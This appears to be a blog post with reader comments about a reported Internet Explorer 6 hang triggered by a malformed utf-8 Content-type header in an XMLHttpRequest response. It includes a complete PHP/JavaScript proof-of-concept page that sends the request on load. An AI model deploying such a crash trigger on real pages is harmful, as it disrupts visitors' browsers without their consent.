AJAX Magazine: Possible AJAX IE Exploint, the evil AJAX

I don't have Internet explorer to test it, but anakin pointed in his blog to a possible bug using XMLHttpRequest.

Internet Explorer looks to hang up if you send a utf-8 header in response to XMLHttpRequest(). The bug have been tested on IE 6.0, Windows XP Home, XP Professional, 2000 and 2003 OS.

The code that have been used to test is listed below : if (@$_SERVER['QUERY_STRING'] == 'ajax') { /** Sending this header causes Internet Explorer to hang. Tested on XP with <acronym title="Internet Explorer">IE</acronym> 6.0. Contact: anakin@php5.pl */ header('Content-type: text/html; encoding=utf-8'); echo 'Dead.'; exit; } <html xmlns="http://www.w3.org/1999/xhtml" lang="pl"> <head> <title><acronym title="Asynchronous Javascript And XML">AJAX</acronym> IExploit</title> <script type="text/javascript"> function pageLoad() { xmlHttp = false; try { xmlHttp = new ActiveXObject("Msxml2.XMLHTTP" ); } catch (e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP" ); } catch (e) { xmlHttp = false; } } if (!xmlHttp && typeof XMLHttpRequest != 'undefined') xmlHttp = new XMLHttpRequest(); if (!xmlHttp) return; xmlHttp.open("GET", "?ajax", true); xmlHttp.send(null); } </script> </head> <body onload="pageLoad()"> Dead. </body> </html>

You are sending an incorrect header:

header('Content-type: text/html; encoding=utf-8');

should be

header('Content-type: text/html; Charset=utf-8');

IE simply does not know what to do with your bad written header .

Posted by Jose Maria Ansar | January 31, 2007 8:24 AM | Reply

Actually a bad header should not result in hanging up. Bad handling of unexpected data is indeed a problem.
Does anybody know if someone dug deeper into this issue? I also stumbled across this behaviour of IE by accident ;)

Posted by seong | January 9, 2008 4:28 PM | Reply

Possible AJAX IE Exploint, the evil AJAX

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